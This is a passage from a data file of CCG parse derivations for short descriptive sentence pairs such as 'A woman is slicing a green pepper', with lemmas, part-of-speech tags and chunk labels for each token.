t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'licking', 'lick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'baby', 'baby', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(364,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'licking', 'lick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'baby', 'baby', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(365,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'away', 'away', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'garlic', 'garlic', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(366,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
lx(np, n,
t(n, 'garlic', 'garlic', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(367,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(368,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(369,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'cooking', 'cooking', 'JJ', 'I-NP', 'O'),
t(n, 'okra', 'okra', 'NN', 'I-NP', 'O')))),
fa((s:dcl\np)\(s:dcl\np),
t(((s:dcl\np)\(s:dcl\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(370,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Okra', 'Okra', 'NNP', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'cooked', 'cook', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(371,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'drum', 'drum', 'VB', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(372,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'practicing', 'practice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'drum', 'drum', 'VB', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(373,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'floor', 'floor', 'NN', 'I-NP', 'O'),
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(374,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(375,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(376,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(377,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'dropping', 'drop', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(378,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'dropped', 'drop', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pan', 'pan', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(379,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'filling', 'fill', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pitcher', 'pitcher', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(380,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pitcher', 'pitcher', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'filled', 'fill', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(381,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'collecting', 'collect', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'from', 'from', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tap', 'tap', 'VB', 'I-VP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'mug', 'mug', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(382,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'filling', 'fill', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pitcher', 'pitcher', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(383,
rp(s:dcl,
ba(s:dcl,
t(np, 'It', 'it', 'PRP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'raining', 'rain', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'walking', 'walking', 'NN', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(384,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rain', 'rain', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(385,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Racers', 'racer', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'track', 'track', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(386,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'racers', 'racer', 'NNS', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'track', 'track', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(387,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'train', 'train', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'striking', 'strike', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(388,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'train', 'train', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'missing', 'miss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(389,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'onions', 'onion', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(390,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Onions', 'onion', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'sliced', 'slice', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(391,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Swimmers', 'swimmer', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'racing', 'race', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lake', 'lake', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(392,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'racers', 'racer', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'swimming', 'swim', 'VBG', 'I-NP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lake', 'lake', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(393,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'talented', 'talented', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(394,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(395,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'scrubbing', 'scrub', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'zucchini', 'zucchini', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(396,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'scrubbing', 'scrub', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'zucchini', 'zucchini', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(397,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pepper', 'pepper', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'green', 'green', 'JJ', 'I-ADJP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(398,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'pepper', 'pepper', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(399,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'stopping', 'stop', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'middle', 'middle', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(400,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(401,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'from', 'from', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wilderness', 'wilderness', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'walking', 'walking', 'NN', 'I-NP', 'O'),
t(n, 'path', 'path', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(402,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
